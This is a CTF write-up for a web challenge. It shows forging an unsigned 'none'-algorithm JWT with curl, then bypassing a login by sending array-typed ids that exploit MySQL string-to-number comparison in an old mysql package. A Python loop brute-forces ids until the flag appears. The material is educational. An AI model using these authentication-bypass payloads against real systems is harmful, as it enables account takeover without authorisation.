Skip to content

Omegapoint CTF 2023 - Web - Old Christmas Greeting

Posted on:January 1, 2024 at 02:55 PM

Challenge

Category: WEB

While looking through my old projects for christmas, I found an old archived christmas greetings application. It appears that I used a passwordless state-of-the-art technology quite early on in my career. It should, therefore, be secure, right?

http://51.120.248.76:1337/

challenge code: old-christmas-greeting.zip

Solution

Since the challenge told us that this is a old project, I ran npm audit and found out that the jsonwebtoken package is vulnerable to the none algorithm attack.

I tried to login to my user with a none alogrithm token and it worked.

echo -n '{"typ":"JWT","alg":"none"}' | base64
echo -n '{"id": "7ba0df96-de4c-421c-82ce-7460bc7d28a7", "username": "guest", "iat": 1701608405 }' | base64

curl http://51.120.248.76:1337 -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6ICI3YmEwZGY5Ni1kZTRjLTQyMWMtODJjZS03NDYwYmM3ZDI4YTciLCAidXNlcm5hbWUiOiAiZ3Vlc3QiLCAiaWF0IjogMTcwMTYwODQwNSB9."

This works, but what now? To forge a valid token I would need the admin’s id. So we are back to where we started.

Looking at the other packages I found out that the mysql package is four years old… There might be something there. The package documentation about escaping values seems interesting.

https://github.com/mysqljs/mysql#escaping-query-values

We are told that the array values would be spread out. ['a', 'b'] -> 'a', 'b'. Sending a number results in [0] -> 0

The server does not validate the type of userinput beeing sent to the query, so we can safely send in an array with numbers. I used this fact to do comparisons in SQL between varchars and ints.

sql on the server

CREATE TABLE IF NOT EXISTS users (
    id varchar(255) PRIMARY KEY,
    username varchar(255)
);

INSERT INTO users (id, username)
VALUES
	('7ba0df96-de4c-421c-82ce-7460bc7d28a7', 'guest'), -- Guest user id is the same on the server
	('f4fea84d-7bcc-4c2e-b04b-c3eb307269c8', 'admin'); -- Admin user id is different on the server

webserver login endpoint

app.post("/login", async (req, res) => {
  const { id } = req.body;
  if (!id) return res.redirect("/?message=User id field required!");

  const query = `SELECT id, username FROM users WHERE id = ?;`;
  connection.query(query, [id], function (_error, results, _fields) {
    if (results?.length === 1) {
      res.cookie("session", jwt.sign({ ...results[0] }, TOKEN_SECRET), {
        httpOnly: true,
      });
      return res.redirect(`/`);
    } else {
      return res.redirect(`/login?message=Invalid credentials.`);
    }
  });
});

To login as the gues we can send a POST request with id = [7] since the compare sentance sql would do is "7ba0df96-de4c-421c-82ce-7460bc7d28a7" = 7… and as we all know that is TRUE since the first letter is the same :).

If we want to login as admin (local) we would need to send in [0]. Comparing f4fea84d-7bcc-4c2e-b04b-c3eb307269c8 with 0 is TRUE becouse the first letter is not a integer.

curl -i -X POST http://51.120.248.76:1337/login -H 'Content-Type: application/json' --data '{"id":[7]}'

HTTP/1.1 302 Found
Server: nginx/1.25.3
Date: Mon, 04 Dec 2023 10:37:38 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 23
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Set-Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjdiYTBkZjk2LWRlNGMtNDIxYy04MmNlLTc0NjBiYzdkMjhhNyIsInVzZXJuYW1lIjoiZ3Vlc3QiLCJpYXQiOjE3MDE2ODYyNTl9.TiXKkKPjqjnLK-ZxJMiCoyIbEW8N3gclxwynblzZm-U; Path=/; HttpOnly
Location: /
Vary: Accept

Found. Redirecting to /

It worked on the remote server!

Now I automated the solution and asked the organizer if I could send 1000 requests. The probablility of the first four charachters including a non integer in a uid is pretty high, so I crossed my fingers.

import requests
from time import sleep

remote = "http://51.120.248.76:1337/login"
local = "http://localhost:1337/login"
website = remote

for i in range(0,1000):
    user = {"id": [[i]] }
    r = requests.post(website, json=user)
    print("user search:", i)
    sleep(1)
    if "OMEGAPOINT" in r.text:
        print(r.text)
    

This got the flag on id = 15.

flag: OMEGAPOINT{sh0uld_pr0b4bly_h4v3_upd4t3d_my_l1br4r13s}